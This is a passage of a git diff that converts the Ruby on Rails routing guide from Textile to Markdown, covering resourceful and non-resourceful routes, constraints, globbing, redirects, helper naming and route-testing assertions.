+ +resources :posts, concerns: [:commentable, :image_attachable] +``` + +Also you can use them in any place that you want inside the routes, for example in a scope or namespace call: + +```ruby +namespace :posts do + concerns :commentable +end +``` + +### Creating Paths and URLs From Objects + +In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes: + +```ruby +resources :magazines do + resources :ads +end +``` + +When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs. + +```erb +<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %> +``` + +You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want: + +```erb +<%= link_to "Ad details", url_for([@magazine, @ad]) %> +``` + +In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call: + +```erb +<%= link_to "Ad details", [@magazine, @ad] %> +``` + +If you wanted to link to just a magazine: + +```erb +<%= link_to "Magazine details", @magazine %> +``` + +For other actions, you just need to insert the action name as the first element of the array: + +```erb +<%= link_to "Edit Ad", [:edit, @magazine, @ad] %> +``` + +This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style. + +### Adding More RESTful Actions + +You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection. + +#### Adding Member Routes + +To add a member route, just add a `member` block into the resource block: + +```ruby +resources :photos do + member do + get 'preview' + end +end +``` + +This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`. It will also create the `preview_photo_url` and `preview_photo_path` helpers. + +Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block: + +```ruby +resources :photos do + get 'preview', :on => :member +end +``` + +#### Adding Collection Routes + +To add a route to the collection: + +```ruby +resources :photos do + collection do + get 'search' + end +end +``` + +This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers. + +Just as with member routes, you can pass `:on` to a route: + +```ruby +resources :photos do + get 'search', :on => :collection +end +``` + +#### A Note of Caution + +If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource. + +Non-Resourceful Routes +---------------------- + +In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately. + +While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit. + +In particular, simple routing makes it very easy to map legacy URLs to new Rails actions. + +### Bound Parameters + +When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider one of the default Rails routes: + +```ruby +get ':controller(/:action(/:id))' +``` + +If an incoming request of `/photos/show/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `show` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#index`, since `:action` and `:id` are optional parameters, denoted by parentheses. + +### Dynamic Segments + +You can set up as many dynamic segments within a regular route as you like. Anything other than `:controller` or `:action` will be available to the action as part of `params`. If you set up this route: + +```ruby +get ':controller/:action/:id/:user_id' +``` + +An incoming path of `/photos/show/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`. + +NOTE: You can't use `:namespace` or `:module` with a `:controller` path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g: + +```ruby +get ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/ +``` + +TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `:id => /[^\/]+/` allows anything except a slash. + +### Static Segments + +You can specify static segments when creating a route: + +```ruby +get ':controller/:action/:id/with_user/:user_id' +``` + +This route would respond to paths such as `/photos/show/1/with_user/2`. In this case, `params` would be `{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }`. + +### The Query String + +The `params` will also include any parameters from the query string. For example, with this route: + +```ruby +get ':controller/:action/:id' +``` + +An incoming path of `/photos/show/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }`. + +### Defining Defaults + +You do not need to explicitly use the `:controller` and `:action` symbols within a route. You can supply them as defaults: + +```ruby +get 'photos/:id' => 'photos#show' +``` + +With this route, Rails will match an incoming path of `/photos/12` to the `show` action of `PhotosController`. + +You can also define other defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example: + +```ruby +get 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' } +``` + +Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`. + +### Naming Routes + +You can specify a name for any route using the `:as` option. + +```ruby +get 'exit' => 'sessions#destroy', :as => :logout +``` + +This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit` + +You can also use this to override routing methods defined by resources, like this: + +```ruby +get ':username', :to => "users#show", :as => :user +``` + +This will define a `user_path` method that will be available in controllers, helpers and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`. + +### HTTP Verb Constraints + +In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once: + +```ruby +match 'photos' => 'photos#show', :via => [:get, :post] +``` + +You can match all verbs to a particular route using `:via => :all`: + +```ruby +match 'photos' => 'photos#show', :via => :all +``` + +You should avoid routing all verbs to an action unless you have a good reason to, as routing both `GET` requests and `POST` requests to a single action has security implications. + +### Segment Constraints + +You can use the `:constraints` option to enforce a format for a dynamic segment: + +```ruby +get 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ } +``` + +This route would match paths such as `/photos/A12345`. You can more succinctly express the same route this way: + +```ruby +get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ +``` + +`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work: + +```ruby +get '/:id' => 'posts#show', :constraints => {:id => /^\d/} +``` + +However, note that you don't need to use anchors because all routes are anchored at the start. + +For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace: + +```ruby +get '/:id' => 'posts#show', :constraints => { :id => /\d.+/ } +get '/:username' => 'users#show' +``` + +### Request-Based Constraints + +You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a `String`. + +You specify a request-based constraint the same way that you specify a segment constraint: + +```ruby +get "photos", :constraints => {:subdomain => "admin"} +``` + +You can also specify constraints in a block form: + +```ruby +namespace :admin do + constraints :subdomain => "admin" do + resources :photos + end +end +``` + +### Advanced Constraints + +If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do: + +```ruby +class BlacklistConstraint + def initialize + @ips = Blacklist.retrieve_ips + end + + def matches?(request) + @ips.include?(request.remote_ip) + end +end + +TwitterClone::Application.routes.draw do + get "*path" => "blacklist#index", + :constraints => BlacklistConstraint.new +end +``` + +You can also specify constraints as a lambda: + +```ruby +TwitterClone::Application.routes.draw do + get "*path" => "blacklist#index", + :constraints => lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) } +end +``` + +Both the `matches?` method and the lambda gets the `request` object as an argument. + +### Route Globbing + +Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example + +```ruby +get 'photos/*other' => 'photos#unknown' +``` + +This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`. + +Wildcard segments can occur anywhere in a route. For example, + +```ruby +get 'books/*section/:title' => 'books#show' +``` + +would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `"some/section"`, and `params[:title]` equals `"last-words-a-memoir"`. + +Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example, + +```ruby +get '*a/foo/*b' => 'test#index' +``` + +would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `"zoo/woo"`, and `params[:b]` equals `"bar/baz"`. + +NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route: + +```ruby +get '*pages' => 'pages#show' +``` + +NOTE: By requesting `"/foo/bar.json"`, your `params[:pages]` will be equals to `"foo/bar"` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `:format => false` like this: + +```ruby +get '*pages' => 'pages#show', :format => false +``` + +NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply `:format => true` like this: + +```ruby +get '*pages' => 'pages#show', :format => true +``` + +### Redirection + +You can redirect any path to another path using the `redirect` helper in your router: + +```ruby +get "/stories" => redirect("/posts") +``` + +You can also reuse dynamic segments from the match in the path to redirect to: + +```ruby +get "/stories/:name" => redirect("/posts/%{name}") +``` + +You can also provide a block to redirect, which receives the params and the request object: + +```ruby +get "/stories/:name" => redirect {|params, req| "/posts/#{params[:name].pluralize}" } +get "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" } +``` + +Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. + +In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request. + +### Routing to Rack Applications + +Instead of a String, like `"posts#index"`, which corresponds to the `index` action in the `PostsController`, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher. + +```ruby +match "/application.js" => Sprockets, :via => :all +``` + +As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `:via => :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate. + +NOTE: For the curious, `"posts#index"` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application. + +### Using `root` + +You can specify what Rails should route `"/"` to with the `root` method: + +```ruby +root :to => 'pages#main' +root 'pages#main' # shortcut for the above +``` + +You should put the `root` route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the `public/index.html` file for the root route to take effect. + +NOTE: The `root` route only routes `GET` requests to the action. + +### Unicode character routes + +You can specify unicode character routes directly. For example + +```ruby +match 'こんにちは' => 'welcome#index' +``` + +Customizing Resourceful Routes +------------------------------ + +While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers. + +### Specifying a Controller to Use + +The `:controller` option lets you explicitly specify a controller to use for the resource. For example: + +```ruby +resources :photos, :controller => "images" +``` + +will recognize incoming paths beginning with `/photos` but route to the `Images` controller: + +| HTTP Verb | Path | action | named helper | +| --------- | ---------------- | ------- | -------------------- | +| GET | /photos | index | photos_path | +| GET | /photos/new | new | new_photo_path | +| POST | /photos | create | photos_path | +| GET | /photos/:id | show | photo_path(:id) | +| GET | /photos/:id/edit | edit | edit_photo_path(:id) | +| PATCH/PUT | /photos/:id | update | photo_path(:id) | +| DELETE | /photos/:id | destroy | photo_path(:id) | + +NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource. + +### Specifying Constraints + +You can use the `:constraints` option to specify a required format on the implicit `id`. For example: + +```ruby +resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/} +``` + +This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match. + +You can specify a single constraint to apply to a number of routes by using the block form: + +```ruby +constraints(:id => /[A-Z][A-Z][0-9]+/) do + resources :photos + resources :accounts +end +``` + +NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context. + +TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `:id => /[^\/]+/` allows anything except a slash. + +### Overriding the Named Helpers + +The `:as` option lets you override the normal naming for the named route helpers. For example: + +```ruby +resources :photos, :as => "images" +``` + +will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers. + +| HTTP Verb | Path | action | named helper | +| --------- | ---------------- | ------- | -------------------- | +| GET | /photos | index | images_path | +| GET | /photos/new | new | new_image_path | +| POST | /photos | create | images_path | +| GET | /photos/:id | show | image_path(:id) | +| GET | /photos/:id/edit | edit | edit_image_path(:id) | +| PATCH/PUT | /photos/:id | update | image_path(:id) | +| DELETE | /photos/:id | destroy | image_path(:id) | + +### Overriding the `new` and `edit` Segments + +The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths: + +```ruby +resources :photos, :path_names => { :new => 'make', :edit => 'change' } +``` + +This would cause the routing to recognize paths such as + +``` +/photos/make +/photos/1/change +``` + +NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions. + +TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope. + +```ruby +scope :path_names => { :new => "make" } do + # rest of your routes +end +``` + +### Prefixing the Named Route Helpers + +You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. + +```ruby +scope "admin" do + resources :photos, :as => "admin_photos" +end + +resources :photos +``` + +This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc. + +To prefix a group of route helpers, use `:as` with `scope`: + +```ruby +scope "admin", :as => "admin" do + resources :photos, :accounts +end + +resources :photos, :accounts +``` + +This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively. + +NOTE: The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes. + +You can prefix routes with a named parameter also: + +```ruby +scope ":username" do + resources :posts +end +``` + +This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views. + +### Restricting the Routes Created + +By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes: + +```ruby +resources :photos, :only => [:index, :show] +``` + +Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail. + +The `:except` option specifies a route or list of routes that Rails should _not_ create: + +```ruby +resources :photos, :except => :destroy +``` + +In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`). + +TIP: If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process. + +### Translated Paths + +Using `scope`, we can alter path names generated by resources: + +```ruby +scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do + resources :categories, :path => "kategorien" +end +``` + +Rails now creates routes to the `CategoriesController`. + +| HTTP Verb | Path | action | used for | +| --------- | -------------------------- | ------- | ----------------------- | +| GET | /kategorien | index | categories_path | +| GET | /kategorien/neu | new | new_category_path | +| POST | /kategorien | create | categories_path | +| GET | /kategorien/:id | show | category_path(:id) | +| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) | +| PATCH/PUT | /kategorien/:id | update | category_path(:id) | +| DELETE | /kategorien/:id | destroy | category_path(:id) | + +### Overriding the Singular Form + +If you want to define the singular form of a resource, you should add additional rules to the `Inflector`. + +```ruby +ActiveSupport::Inflector.inflections do |inflect| + inflect.irregular 'tooth', 'teeth' +end +``` + +### Using `:as` in Nested Resources + +The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example, + +```ruby +resources :magazines do + resources :ads, :as => 'periodical_ads' +end +``` + +This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`. + +Inspecting and Testing Routes +----------------------------- + +Rails offers facilities for inspecting and testing your routes. + +### Seeing Existing Routes + +To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rake routes` command in your terminal to produce the same output. + +Both methods will list all of your routes, in the same order that they appear in `routes.rb`. For each route, you'll see: + +* The route name (if any) +* The HTTP verb used (if the route doesn't respond to all verbs) +* The URL pattern to match +* The routing parameters for the route + +For example, here's a small section of the `rake routes` output for a RESTful route: + +``` + users GET /users(.:format) users#index + POST /users(.:format) users#create + new_user GET /users/new(.:format) users#new +edit_user GET /users/:id/edit(.:format) users#edit +``` + +You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable: + +```bash +$ CONTROLLER=users rake routes +``` + +TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap. + +### Testing Routes + +Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler: + +* `assert_generates` +* `assert_recognizes` +* `assert_routing` + +#### The `assert_generates` Assertion + +`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. + +```ruby +assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" } +assert_generates "/about", :controller => "pages", :action => "about" +``` + +#### The `assert_recognizes` Assertion + +`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. + +```ruby +assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1") +``` + +You can supply a `:method` argument to specify the HTTP verb: + +```ruby +assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }) +``` + +#### The `assert_routing` Assertion + +The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`. + +```ruby +assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }) +``` diff --git a/guides/source/routing.textile b/guides/source/routing.textile deleted file mode 100644 index 9718887612..0000000000 --- a/guides/source/routing.textile +++ /dev/null @@ -1,953 +0,0 @@ -h2. Rails Routing from the Outside In - -This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to: - -* Understand the code in +routes.rb+ -* Construct your own routes, using either the preferred resourceful style or the <tt>match</tt> method -* Identify what parameters to expect an action to receive -* Automatically create paths and URLs using route helpers -* Use advanced techniques such as constraints and Rack endpoints - -endprologue. - -h3. The Purpose of the Rails Router - -The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views. - -h4. Connecting URLs to Code - -When your Rails application receives an incoming request - -<plain> -GET /patients/17 -</plain> - -it asks the router to match it to a controller action. If the first matching route is - -<ruby> -get "/patients/:id" => "patients#show" -</ruby> - -the request is dispatched to the +patients+ controller's +show+ action with <tt>{ :id => "17" }</tt> in +params+. - -h4. Generating Paths and URLs from Code - -You can also generate paths and URLs. If the route above is modified to be - -<ruby> -get "/patients/:id" => "patients#show", :as => "patient" -</ruby> - -If your application contains this code: - -<ruby> -@patient = Patient.find(17) -</ruby> - -<erb> -<%= link_to "Patient Record", patient_path(@patient) %> -</erb> - -The router will generate the path +/patients/17+. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper. - -h3. Resource Routing: the Rails Default - -Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+ actions, a resourceful route declares them in a single line of code. - -h4. Resources on the Web - -Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as +GET+, +POST+, +PATCH+, +PUT+ and +DELETE+. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller. - -When your Rails application receives an incoming request for - -<plain> -DELETE /photos/17 -</plain> - -it asks the router to map it to a controller action. If the first matching route is - -<ruby> -resources :photos -</ruby> - -Rails would dispatch that request to the +destroy+ method on the +photos+ controller with <tt>{ :id => "17" }</tt> in +params+. - -h4. CRUD, Verbs, and Actions - -In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as - -<ruby> -resources :photos -</ruby> - -creates seven different routes in your application, all mapping to the +Photos+ controller: - -|_. HTTP Verb |_.Path |_.action |_.used for | -|GET |/photos |index |display a list of all photos | -|GET |/photos/new |new |return an HTML form for creating a new photo | -|POST |/photos |create |create a new photo | -|GET |/photos/:id |show |display a specific photo | -|GET |/photos/:id/edit |edit |return an HTML form for editing a photo | -|PATCH/PUT |/photos/:id |update |update a specific photo | -|DELETE |/photos/:id |destroy |delete a specific photo | - -NOTE: Rails routes are matched in the order they are specified, so if you have a +resources :photos+ above a +get 'photos/poll'+ the +show+ action's route for the +resources+ line will be matched before the +get+ line. To fix this, move the +get+ line *above* the +resources+ line so that it is matched first. - -h4. Paths and URLs - -Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of +resources :photos+: - -* +photos_path+ returns +/photos+ -* +new_photo_path+ returns +/photos/new+ -* +edit_photo_path(:id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+) -* +photo_path(:id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+) - -Each of these helpers has a corresponding +_url+ helper (such as +photos_url+) which returns the same path prefixed with the current host, port and path prefix. - -NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions. - -h4. Defining Multiple Resources at the Same Time - -If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to +resources+: - -<ruby> -resources :photos, :books, :videos -</ruby> - -This works exactly the same as - -<ruby> -resources :photos -resources :books -resources :videos -</ruby> - -h4. Singular Resources - -Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like +/profile+ to always show the profile of the currently logged in user. In this case, you can use a singular resource to map +/profile+ (rather than +/profile/:id+) to the +show+ action. - -<ruby> -get "profile" => "users#show" -</ruby> - -This resourceful route - -<ruby> -resource :geocoder -</ruby> - -creates six different routes in your application, all mapping to the +Geocoders+ controller: - -|_.HTTP Verb |_.Path |_.action |_.used for | -|GET |/geocoder/new |new |return an HTML form for creating the geocoder | -|POST |/geocoder |create |create the new geocoder | -|GET |/geocoder |show |display the one and only geocoder resource | -|GET |/geocoder/edit |edit |return an HTML form for editing the geocoder | -|PATCH/PUT |/geocoder |update |update the one and only geocoder resource | -|DELETE |/geocoder |destroy |delete the geocoder resource | - -NOTE: Because you might want to use the same controller for a singular route (+/account+) and a plural route (+/accounts/45+), singular resources map to plural controllers. - -A singular resourceful route generates these helpers: - -* +new_geocoder_path+ returns +/geocoder/new+ -* +edit_geocoder_path+ returns +/geocoder/edit+ -* +geocoder_path+ returns +/geocoder+ - -As with plural resources, the same helpers ending in +_url+ will also include the host, port and path prefix. - -h4. Controller Namespaces and Routing - -You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an +Admin::+ namespace. You would place these controllers under the +app/controllers/admin+ directory, and you can group them together in your router: - -<ruby> -namespace :admin do - resources :posts, :comments -end -</ruby> - -This will create a number of routes for each of the +posts+ and +comments+ controller. For +Admin::PostsController+, Rails will create: - -|_.HTTP Verb |_.Path |_.action |_.named helper | -|GET |/admin/posts |index | admin_posts_path | -|GET |/admin/posts/new |new | new_admin_post_path | -|POST |/admin/posts |create | admin_posts_path | -|GET |/admin/posts/:id |show | admin_post_path(:id) | -|GET |/admin/posts/:id/edit |edit | edit_admin_post_path(:id) | -|PATCH/PUT |/admin/posts/:id |update | admin_post_path(:id) | -|DELETE |/admin/posts/:id |destroy | admin_post_path(:id) | - -If you want to route +/posts+ (without the prefix +/admin+) to +Admin::PostsController+, you could use - -<ruby> -scope :module => "admin" do - resources :posts, :comments -end -</ruby> - -or, for a single case - -<ruby> -resources :posts, :module => "admin" -</ruby> - -If you want to route +/admin/posts+ to +PostsController+ (without the +Admin::+ module prefix), you could use - -<ruby> -scope "/admin" do - resources :posts, :comments -end -</ruby> - -or, for a single case - -<ruby> -resources :posts, :path => "/admin/posts" -</ruby> - -In each of these cases, the named routes remain the same as if you did not use +scope+. In the last case, the following paths map to +PostsController+: - -|_.HTTP Verb |_.Path |_.action |_.named helper | -|GET |/admin/posts |index | posts_path | -|GET |/admin/posts/new |new | new_post_path | -|POST |/admin/posts |create | posts_path | -|GET |/admin/posts/:id |show | post_path(:id) | -|GET |/admin/posts/:id/edit|edit | edit_post_path(:id)| -|PATCH/PUT |/admin/posts/:id |update | post_path(:id) | -|DELETE |/admin/posts/:id |destroy | post_path(:id) | - -h4. Nested Resources - -It's common to have resources that are logically children of other resources. For example, suppose your application includes these models: - -<ruby> -class Magazine < ActiveRecord::Base - has_many :ads -end - -class Ad < ActiveRecord::Base - belongs_to :magazine -end -</ruby> - -Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration: - -<ruby> -resources :magazines do - resources :ads -end -</ruby> - -In addition to the routes for magazines, this declaration will also route ads to an +AdsController+. The ad URLs require a magazine: - -|_.HTTP Verb |_.Path |_.action |_.used for | -|GET |/magazines/:magazine_id/ads |index |display a list of all ads for a specific magazine | -|GET |/magazines/:magazine_id/ads/new |new |return an HTML form for creating a new ad belonging to a specific magazine | -|POST |/magazines/:magazine_id/ads |create |create a new ad belonging to a specific magazine | -|GET |/magazines/:magazine_id/ads/:id |show |display a specific ad belonging to a specific magazine | -|GET |/magazines/:magazine_id/ads/:id/edit |edit |return an HTML form for editing an ad belonging to a specific magazine | -|PATCH/PUT |/magazines/:magazine_id/ads/:id |update |update a specific ad belonging to a specific magazine | -|DELETE |/magazines/:magazine_id/ads/:id |destroy |delete a specific ad belonging to a specific magazine | - -This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. These helpers take an instance of Magazine as the first parameter (+magazine_ads_url(@magazine)+). - -h5. Limits to Nesting - -You can nest resources within other nested resources if you like. For example: - -<ruby> -resources :publishers do - resources :magazines do - resources :photos - end -end -</ruby> - -Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as - -<pre> -/publishers/1/magazines/2/photos/3 -</pre> - -The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design: - -TIP: _Resources should never be nested more than 1 level deep._ - -h4. Routing concerns - -Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. - -<ruby> -concern :commentable do - resources :comments -end - -concern :image_attachable do - resources :images, only: :index -end -</ruby> - -These concerns can be used in resources to avoid code duplication and share behavior across routes. - -<ruby> -resources :messages, concerns: :commentable - -resources :posts, concerns: [:commentable, :image_attachable] -</ruby> - -Also you can use them in any place that you want inside the routes, for example in a scope or namespace call: - -<ruby> -namespace :posts do - concerns :commentable -end -</ruby> - -h4. Creating Paths and URLs From Objects - -In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes: - -<ruby> -resources :magazines do - resources :ads -end -</ruby> - -When using +magazine_ad_path+, you can pass in instances of +Magazine+ and +Ad+ instead of the numeric IDs. - -<erb> -<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %> -</erb> - -You can also use +url_for+ with a set of objects, and Rails will automatically determine which route you want: - -<erb> -<%= link_to "Ad details", url_for([@magazine, @ad]) %> -</erb> - -In this case, Rails will see that +@magazine+ is a +Magazine+ and +@ad+ is an +Ad+ and will therefore use the +magazine_ad_path+ helper. In helpers like +link_to+, you can specify just the object in place of the full +url_for+ call: - -<erb> -<%= link_to "Ad details", [@magazine, @ad] %> -</erb> - -If you wanted to link to just a magazine: - -<erb> -<%= link_to "Magazine details", @magazine %> -</erb> - -For other actions, you just need to insert the action name as the first element of the array: - -<erb> -<%= link_to "Edit Ad", [:edit, @magazine, @ad] %> -</erb> - -This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style. - -h4. Adding More RESTful Actions - -You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection. - -h5. Adding Member Routes - -To add a member route, just add a +member+ block into the resource block: - -<ruby> -resources :photos do - member do - get 'preview' - end -end -</ruby> - -This will recognize +/photos/1/preview+ with GET, and route to the +preview+ action of +PhotosController+. It will also create the +preview_photo_url+ and +preview_photo_path+ helpers. - -Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use +get+, +patch+, +put+, +post+, or +delete+ here. If you don't have multiple +member+ routes, you can also pass +:on+ to a route, eliminating the block: - -<ruby> -resources :photos do - get 'preview', :on => :member -end -</ruby> - -h5. Adding Collection Routes - -To add a route to the collection: - -<ruby> -resources :photos do - collection do - get 'search' - end -end -</ruby> - -This will enable Rails to recognize paths such as +/photos/search+ with GET, and route to the +search+ action of +PhotosController+. It will also create the +search_photos_url+ and +search_photos_path+ route helpers. - -Just as with member routes, you can pass +:on+ to a route: - -<ruby> -resources :photos do - get 'search', :on => :collection -end -</ruby> - -h5. A Note of Caution - -If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource. - -h3. Non-Resourceful Routes - -In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately. - -While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit. - -In particular, simple routing makes it very easy to map legacy URLs to new Rails actions. - -h4. Bound Parameters - -When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes: - -<ruby> -get 